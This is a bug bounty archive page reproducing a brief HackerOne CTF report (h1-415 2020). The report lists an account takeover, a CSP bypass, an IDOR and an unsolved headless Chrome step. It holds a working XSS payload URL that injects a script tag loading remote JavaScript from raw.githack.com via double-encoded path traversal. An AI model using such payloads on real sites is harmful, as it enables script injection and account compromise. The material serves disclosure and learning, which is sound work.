Skip to content
Account takeover Disclosed report Advanced

[h1-415 2020] Spent a week and failed at solving the last step.

The write-up describes a chain of issues in a CTF challenge: account takeover of another user's account, a content security policy bypass using double URL encoding, and an insecure direct object reference that allowed updating a review name. The final step involving headless Chrome debugging was not solved, so the full exploit chain is incomplete.

s1r1u5 Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 2 hours
  • Fixed in 12 days
  • Disclosed after 12 days

Summary:

I found something interesting with Headless chrome debugging in the last step, I am sure I am going to solve this after trying very hard for about a week, I don't know when this CTF is going to end, that's why I am submitting a summary of how to solve this so that I can write the full report after fully solving the final step.

  1. ATO of jobert's account using [email protected]
  2. CSP bypass using URL double encoding. https://h1-415.h1ctf.com/support/chat?message=%3Cscript%20type=%22text/javascript%22%20src=%22https://raw.githack.com/mattboldt/typed.js/master/lib/typed.js/..%252f..%252f..%252f..%252f..%252fInvaders0/xss/81faa59004ebeee525502d38b302445be93a2131/as.js%22%3E%3C/script%3E
  3. IDOR to update the name at review. http://localhost:3000/support/review/c9b46d365357148bcd2436bc5d7fc19f27268010e91cd271b6531f8dff6824dc
  4. Headless chrome debugging enabled (have to solve).

Impact

.

The original report as published on HackerOne, by s1r1u5. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a CSP bypass via double-encoded URL and an IDOR allowing a review name update.

Impact

The listed issues include account takeover, a CSP bypass and an IDOR to update a review name; the final step was unsolved.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a short summary of a security challenge, not a full report. It lists three separate weaknesses: taking over someone else's account, getting a script to run despite a browser rule meant to block it, and changing another user's data by guessing a link. The author did not finish the last part, so the chain is not fully proven.

What is Account takeover?

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.

More by s1r1u5

View all

2 more disclosed reports, best first.

More from h1-ctf

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Account takeover

The lesson behind this report.

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.